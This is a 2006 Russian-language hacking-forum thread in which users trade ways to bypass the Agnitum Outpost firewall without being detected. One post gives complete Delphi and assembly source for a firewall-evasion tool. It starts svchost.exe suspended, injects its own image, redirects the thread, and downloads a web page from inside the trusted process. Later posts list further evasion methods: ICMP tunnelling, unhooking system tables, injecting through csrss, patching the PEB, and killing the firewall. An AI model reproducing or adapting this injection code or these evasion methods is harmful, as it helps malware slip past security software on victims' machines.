Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

02.05.2006, 20:38
|
|
Познающий
Регистрация: 19.01.2006
Сообщений: 58
Провел на форуме: 108297
Репутация:
6
|
|
обход agnituma
народ, у кого есть идеи как обойти agnitum outpost,
желательно без палева.
|
|
|

03.05.2006, 17:33
|
|
Новичок
Регистрация: 14.01.2006
Сообщений: 28
Провел на форуме: 190037
Репутация:
23
|
|
у меня: последний никак
(не долго же ты рылся по форуму...)
|
|
|

24.05.2006, 17:10
|
|
Познающий
Регистрация: 05.10.2005
Сообщений: 76
Провел на форуме: 74278
Репутация:
11
|
|
|
|
|

01.06.2006, 22:33
|
|
Познающий
Регистрация: 19.01.2006
Сообщений: 58
Провел на форуме: 108297
Репутация:
6
|
|
статейка интересна. Гемор обеспечен, но по моему в версии 3.5 эта штука исправлена.
по моему легче просто грохнуть приложение с его сервисом
|
|
|

02.06.2006, 03:34
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме: 1892597
Репутация:
836
|
|
ага... как только попытаешься он тя блокирует + выдает сообщение
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
|
|
|

06.06.2006, 18:20
|
|
Новичок
Регистрация: 06.06.2006
Сообщений: 1
Провел на форуме: 5736
Репутация:
1
|
|
А что, старый добрый способ отменили?
{
Firewall Fucker - пример обхода фаерволла.
Copyright by Ms-Rem (Ms-Rem@yandex.ru) ICQ 286370715
}
program FireFuck;
uses
Windows, WinSock;
{$IMAGEBASE $13140000}
{ Определение положения подстроки в строке }
Function MyPos(Substr, Str: PChar): dword; stdcall;
asm
mov eax, Substr
mov edx, str
test eax, eax
je @noWork
test edx, edx
je @stringEmpty
push ebx
push esi
push edi
mov esi, eax
mov edi, edx
push eax
push edx
call lstrlen
mov ecx, eax
pop eax
push edi
push eax
push eax
call lstrlen
mov edx, eax
pop eax
dec edx
js @fail
mov al, [esi]
inc esi
sub ecx, edx
jle @fail
@loop:
repne scasb
jne @fail
mov ebx, ecx
push esi
push edi
mov ecx, edx
repe cmpsb
pop edi
pop esi
je @found
mov ecx, ebx
jmp @loop
@fail:
pop edx
xor eax, eax
jmp @exit
@stringEmpty:
xor eax, eax
jmp @noWork
@found:
pop edx
mov eax, edi
sub eax, edx
@exit:
pop edi
pop esi
pop ebx
@noWork:
end;
{ Копирование строк }
Function MyCopy(S:PChar; Index, Count: Dword): PChar; stdcall;
asm
mov eax, Count
inc eax
push eax
push LPTR
call LocalAlloc
mov edi, eax
mov ecx, Count
mov esi, S
add esi, Index
dec esi
rep movsb
end;
{ Копирование участка памяти }
procedure MyCopyMemory(Destination: Pointer; Source: Pointer; Length: DWORD);
asm
push ecx
push esi
push edi
mov esi, Source
mov edi, Destination
mov ecx, Length
rep movsb
pop edi
pop esi
pop ecx
end;
Function DownloadFile(Address: PChar; var ReturnSize: dword): pointer;
var
Buffer: pointer;
BufferLength: dword;
BufferUsed: dword;
Bytes: integer;
Header: PChar;
Site: PChar;
URL: PChar;
FSocket: integer;
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
Str: PChar;
WSAData: TWSAData;
hHeap: dword;
begin
Result := nil;
hHeap := GetProcessHeap();
WSAStartup(257, WSAData);
Site := MyCopy(Address, 1, MyPos('/', Address) - 1);
URL := MyCopy(Address, MyPos('/', Address), lstrlen(Address) - MyPos('/', Address) + 1);
Buffer := HeapAlloc(hHeap, 0, 1024);
try
BufferLength := 1024;
BufferUsed := 0;
FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(80);
SockAddrIn.sin_addr.s_addr := inet_addr(Site);
if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
begin
HostEnt := gethostbyname(Site);
if HostEnt = nil then Exit;
SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
end;
if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) = -1 then Exit;
Str := HeapAlloc(hHeap, 0, 1024);
lstrcpy(Str, 'GET ');
lstrcat(Str, URL);
lstrcat(Str, ' HTTP/1.0'#10#13'Host: ');
lstrcat(Str, Site);
lstrcat(Str, #13#10'Connection: close'#13#10#13#10);
send(FSocket, Str^, lstrlen(Str), 0);
HeapFree(hHeap, 0, Str);
repeat
if BufferLength - BufferUsed < 1024 then
begin
Inc(BufferLength, 1024);
Buffer := HeapReAlloc(hHeap, 0, Buffer, BufferLength);
end;
Bytes := recv(FSocket, pointer(dword(Buffer) + BufferUsed)^, 1024, 0);
if Bytes > 0 then Inc(BufferUsed, Bytes);
until (Bytes = 0) or (Bytes = SOCKET_ERROR);
Header := MyCopy(Buffer, 1, MyPos(#13#10#13#10, Buffer) + 3);
ReturnSize := BufferUsed - lstrlen(header);
Result := VirtualAlloc(nil, ReturnSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if Result = nil then Exit;
MyCopyMemory(Result, pointer(dword(Buffer) + lstrlen(header)), ReturnSize);
finally
HeapFree(hHeap, 0, Buffer);
end;
end;
{ процедура выполняющаяся в контексте доверенного приложения }
Procedure Download(); stdcall;
const
URL : PChar = 'forum.antichat.ru/newreply.php?do=newreply&p=146170';
var
Buff: pointer;
Size: dword;
Bytes: dword;
dFile: dword;
begin
LoadLibrary('wsock32.dll');
Buff := DownloadFile(URL, Size);
dFile := CreateFile('1.htm', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0);
WriteFile(dFile, Buff^, Size, Bytes, nil);
CloseHandle(dFile);
ExitProcess(0);
end;
var
St: TStartupInfo;
Pr: TProcessInformation;
InjectSize: dword;
Code: pointer;
Injected: pointer;
BytesWritten: dword;
Context: _CONTEXT;
begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_SHOW;
//запускаем процесс, которому разрешено лезть на 80 порт
CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
Code := pointer(GetModuleHandle(nil));
InjectSize := PImageOptionalHeader(pointer(integer(Code) +
PImageDosHeader(Code)._lfanew +
SizeOf(dword) +
SizeOf(TImageFileHeader))).SizeOfImage;
//выделяем память в процессе
Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//внедряем код
WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten);
//изменяем контекст нити
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(Pr.hThread, Context);
Context.Eip := dword(@Download);
SetThreadContext(Pr.hThread, Context);
//запускаем процесс
ResumeThread(Pr.hThread);
end.
|
|
|

09.06.2006, 01:58
|
|
Познающий
Регистрация: 31.03.2006
Сообщений: 36
Провел на форуме: 302384
Репутация:
4
|
|
Сообщение от asm33
народ, у кого есть идеи как обойти agnitum outpost
Тунелирование ICMP пакаетами.
|
|
|

13.06.2006, 02:06
|
|
Познающий
Регистрация: 25.08.2005
Сообщений: 57
Провел на форуме: 216363
Репутация:
76
|
|
народ, у кого есть идеи как обойти agnitum outpost
к сожалению, АБСОЛЮТНО ВСЕ существующие методы обхода базируюцаа на безпалевном инжекте в пердположительно доверенный процесс. У меня была идея написать драйвер, который будет работать напрямую с NDIS, предварительно найдя оригинальные адресса соотв ф-ций (оутпост их хукает ессесно) так что если есть желание/знания - вперёд, геморроя думаю здесь будет намного меньше чем кажеццо
Тунелирование ICMP пакаетами.
=)))
|
|
|

13.06.2006, 05:09
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме: 1892597
Репутация:
836
|
|
В общем тут такое дело:
1. Запуск доверенного процесса и соответственно через него и делать все что угодно. Способ хороший, НО!!! Outpost среагирует: минимум - сообщением "Запуск скрытого процесса", в другом случае это "Процесс xxx.exe облокирован" изменения в памяти процесса и т.д.
2. Dll-injection  Ну тут слов нет все равно словит. читай 1 пункт 2 случай.
3. RAW Sockets, тут отдельная речь... Короче все равно поймает.
По моему единственный вариант это: Грузить приложение до Outposta и вырубать процесс... Почему не внести изменения? Outpost проверяет себя и компоненты на наличие Adware/Spyware и CRC...
Не знаю я не опытный кодер (да и в протоколах не очень...) по этому еще куча способов... На мой взгляд.
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
Последний раз редактировалось W!z@rD; 13.06.2006 в 05:12..
|
|
|

13.06.2006, 05:29
|
|
Познающий
Регистрация: 25.08.2005
Сообщений: 57
Провел на форуме: 216363
Репутация:
76
|
|
W!z@rD:
1, 2 - контроль памяти процессов довольно просто обходицца напр. снятием хуков с SST или инжектом через csrss в два прыжка, контроль компонентов лечиццо правкой PEB
короче эти способы работают без проблем, но только при наличии возможности инжекта в доверенный процесс, да и вообще попса и старьё, нужно что-нибудь новое и более координальное)
3. равсокеты дефолтно запрещены
убивать оутпост - просто глупо и некрасиво, да и слишком палевно к тому же (а про геморройность данного яспособа я вообще молчу - из юзермоде ты сервис оутпоста не грохнешь 100%)
Последний раз редактировалось Cr4sh; 13.06.2006 в 05:31..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|